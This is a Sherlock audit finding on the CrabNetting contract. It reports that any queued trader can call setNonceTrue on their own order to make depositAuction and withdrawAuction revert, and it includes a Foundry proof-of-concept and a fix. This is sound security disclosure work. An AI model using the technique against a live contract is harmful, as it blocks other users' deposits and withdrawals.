seyni - Anyone in the order queue wanting to withdraw or deposit can grief the auction by making withdrawAuction or depositAuction always revert

[sherlock-admin]

seyni

medium

Anyone in the order queue wanting to withdraw or deposit can grief the auction by making withdrawAuction or depositAuction always revert

Summary

Anyone in the order queue wanting to withdraw or deposit can purposely set his order's nonce to true to make any call to withdrawAuction or depositAuction revert.

Vulnerability Detail

The setNonceTrue function allow anyone to set to true the nonce of one of his order.
CrabNetting.sol#L234-L237

    function setNonceTrue(uint256 _nonce) external {
        nonces[msg.sender][_nonce] = true;
        emit NonceTrue(msg.sender, _nonce);
    }

depositAuction and withdrawAuction both check if the nonce of every queued order has already been used via _checkOrder. For instance in depositAuction:
CrabNetting.sol#L491-L510

    function depositAuction(DepositAuctionParams calldata _p) external onlyOwner {
        _checkOTCPrice(_p.clearingPrice, false);
        /**
         * step 1: get eth from mm
         *     step 2: get eth from deposit usdc
         *     step 3: crab deposit
         *     step 4: flash deposit
         *     step 5: send sqth to mms
         *     step 6: send crab to depositors
         */
        uint256 initCrabBalance = IERC20(crab).balanceOf(address(this));
        uint256 initEthBalance = address(this).balance;


        uint256 sqthToSell = _debtToMint(_p.totalDeposit);
        // step 1 get all the eth in
        uint256 remainingToSell = sqthToSell;
        for (uint256 i = 0; i < _p.orders.length; i++) {
            require(_p.orders[i].isBuying, "auction order not buying sqth");
            require(_p.orders[i].price >= _p.clearingPrice, "buy order price less than clearing");
            _checkOrder(_p.orders[i]);

In _checkOrder, _useNonce is called:
CrabNetting.sol#L455-L456

    function _checkOrder(Order memory _order) internal {
        _useNonce(_order.trader, _order.nonce);

In _useNonce, the nonce associated to a trader and an order is checked to be false before being used (set to true):
CrabNetting.sol#L756-L759

    function _useNonce(address _trader, uint256 _nonce) internal {
        require(!nonces[_trader][_nonce], "Nonce already used");
        nonces[_trader][_nonce] = true;
    }

Therefore, if only one of the order already had its nonce set to true, the call to depositAuction or withdrawAuction will revert.

Impact

The owner cannot proceed the queued deposit/withdraw as intended.
depositAuction and withdrawAuction will always revert.

Code Snippet

PoC:

    function testNonce() public {
        DepositAuctionParams memory p;
        // get the usd to deposit remaining
        p.depositsQueued = netting.depositsQueued();
        // find the eth value of it
        p.minEth = (_convertUSDToETH(p.depositsQueued) * 9975) / 10000;

        // lets get the uniswap price, you can get this from uniswap function in crabstratgegy itself
        uint256 sqthPrice = (_getSqthPrice(1e18) * 988) / 1000;
        // get the vault details
        (,, uint256 collateral, uint256 debt) = crab.getVaultDetails();
        // get the total deposit
        uint256 toMint;
        (p.totalDeposit, toMint) = _findTotalDepositAndToMint(p.minEth, collateral, debt, sqthPrice);
        // --------
        // then write a test suite with a high eth value where it fails
        bool trade_works = _isEnough(p.minEth, toMint, sqthPrice, p.totalDeposit);
        require(trade_works, "depositing more than we have from sellling");

        //@audit order from mm1 (nonce == 0)
        Order memory order1 = Order(0, mm1, toMint - 1e18, (sqthPrice * 1005) / 1000, true, block.timestamp, 0, 1, 0x00, 0x00);

        Sign memory s1;
        (s1.v, s1.r, s1.s) = vm.sign(mm1Pk, sig.getTypedDataHash(order1));
        order1.v = s1.v;
        order1.r = s1.r;
        order1.s = s1.s;

        //@audit order from mm2 (nonce == 1)
        Order memory order2 = Order(0, mm2, toMint - 1e18, (sqthPrice * 1005) / 1000, true, block.timestamp, 1, 1, 0x00, 0x00);

        Sign memory s2;
        (s2.v, s2.r, s2.s) = vm.sign(mm2Pk, sig.getTypedDataHash(order2));
        order2.v = s2.v;
        order2.r = s2.r;
        order2.s = s2.s;

        orders.push(order1);
        orders.push(order2);
        vm.prank(mm1);
        netting.setNonceTrue(0); //@audit user mm1 setting manually nonce to true right before withdrawAuction or depositAuction call by owner

        //@audit for loop present in withdrawAuction or depositAuction which will revert if any order's nonce is already set to true.
        vm.expectRevert("Nonce already used"); //@audit will revert at first call to checkOrder
        for (uint256 i = 0; i < orders.length; i++) {
            netting.checkOrder(orders[i]);
        }
    }

Tool used

Manual Review, Foundry

Recommendation

Remove setNonceTrue and add a mecanism to allow owner to remove an order if needed.

Duplicate of #60